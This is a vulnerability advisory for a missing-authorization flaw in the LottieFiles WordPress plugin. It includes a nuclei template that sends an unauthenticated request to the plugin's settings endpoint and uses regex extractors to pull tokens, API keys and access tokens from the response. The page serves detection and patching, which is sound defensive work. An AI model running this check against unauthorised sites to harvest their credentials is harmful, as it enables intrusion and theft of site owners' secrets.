LottieFiles WordPress Plugin <= 3.0.0 - Missing Authorization

highseverity

7.3CVSS score

0.6%likelihood of exploitation, next 30 days

51%of all CVEs are less likely

Readycheck to confirm it

LottieFiles LottieFiles <= 3.0.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers exploit missing authorization, exploit requires no special privileges.

Impact

Attackers can bypass authorization to access or modify restricted resources, potentially leading to data exposure or unauthorized actions.

Fix

Update to the latest version beyond 3.0.0.

How to confirm it

Send: GET /wp-json/lottiefiles/v1/settings/
Positive when: contains "is_block_logged_in" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-68043 -u <target>

The full check

id: CVE-2025-68043

info:
  name: LottieFiles WordPress Plugin <= 3.0.0 - Missing Authorization
  author: pussycat0x
  severity: high
  description: |
    LottieFiles LottieFiles <= 3.0.0 contains a broken access control vulnerability caused by incorrectly configured access control security levels, letting attackers exploit missing authorization, exploit requires no special privileges.
  impact: |
    Attackers can bypass authorization to access or modify restricted resources, potentially leading to data exposure or unauthorized actions.
  remediation: |
    Update to the latest version beyond 3.0.0.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/lottiefiles/lottiefiles-300-missing-authorization
    - https://patchstack.com/database/Wordpress/Plugin/lottiefiles/vulnerability/wordpress-lottiefiles-plugin-3-0-0-broken-access-control-vulnerability?_s_id=cve
    - https://plugins.svn.wordpress.org/lottiefiles/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cwe-id: CWE-862
    cve-id: CVE-2025-68043
    epss-score: 0.00637
    epss-percentile: 0.50882
  metadata:
    verified: true
    max-request: 1
    vendor: lottiefiles
    product: lottiefiles
    framework: wordpress
  tags: cve,cve2025,wordpress,wp-plugin,lottiefiles,vkev

http:
  - raw:
      - |
        GET /wp-json/lottiefiles/v1/settings/ HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "is_block_logged_in"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"token"\s*:\s*"([^"]+)"'
          - '"apiKey"\s*:\s*"([^"]+)"'
          - '"accessToken"\s*:\s*"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from